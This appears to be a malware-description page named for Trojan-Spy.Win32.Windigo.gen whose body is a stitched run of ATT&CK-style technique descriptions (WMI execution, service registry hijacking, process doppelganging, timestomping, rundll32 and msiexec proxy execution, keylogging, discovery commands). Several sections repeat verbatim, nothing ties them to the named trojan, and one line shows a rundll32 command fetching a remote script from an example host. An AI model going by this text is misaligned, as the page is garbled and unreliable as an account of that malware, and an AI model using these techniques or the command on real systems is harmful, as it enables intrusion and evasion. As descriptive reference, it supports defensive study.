Trojan-Spy.Win32.Windigo.gen

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)

An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.

Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via Disable or Modify Tools.

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.

This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLMSYSTEMCurrentControlSetServices. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

The Performance key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesservicenameParametersServiceDll.(Citation: malware_hides_service)

Adversaries may inject malicious code into process via process doppelganging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelganging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelganging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelganging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelganging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelganging Dec 2017)

Process Doppelganging is implemented in 4 steps (Citation: BlackHat Process Doppelganging Dec 2017):

* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

* Load – Create a shared section of memory and load the malicious executable.

* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.

* Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLMSYSTEMCurrentControlSetServices. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

The Performance key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesservicenameParametersServiceDll.(Citation: malware_hides_service)

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)

Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)

Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.

Adversaries may inject malicious code into process via process doppelganging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelganging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelganging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelganging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelganging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelganging Dec 2017)

Process Doppelganging is implemented in 4 steps (Citation: BlackHat Process Doppelganging Dec 2017):

* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.

* Load – Create a shared section of memory and load the malicious executable.

* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.

* Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelganging may evade detection from security products since the execution is masked under a legitimate process.

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name Masquerading to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session’s access token and the adversary can use `SetThreadToken` to assign the token to a thread.

This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.

Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

On network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant – Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.

Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer – Ryuk WoL)(Citation: AMD Magic Packet)

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.

Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)

Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLMSYSTEMCurrentControlSetServices. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service’s binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

The Performance key contains the name of a driver service’s performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)

Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesservicenameParametersServiceDll.(Citation: malware_hides_service)

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.

* Reading raw keystroke data from the hardware buffer.

* Windows Registry modifications.

* Custom drivers.

* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling (Security Software Discovery) to evade.(Citation: ESET Grandoreiro April 2020)

Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as Command and Scripting Interpreter commands and Native API functions.

Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.

Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )

Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.

An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary’s goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include netstat, “net use,” and “net session” with Net. In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to “net session”. Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups – Amazon Elastic Compute Cloud)

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.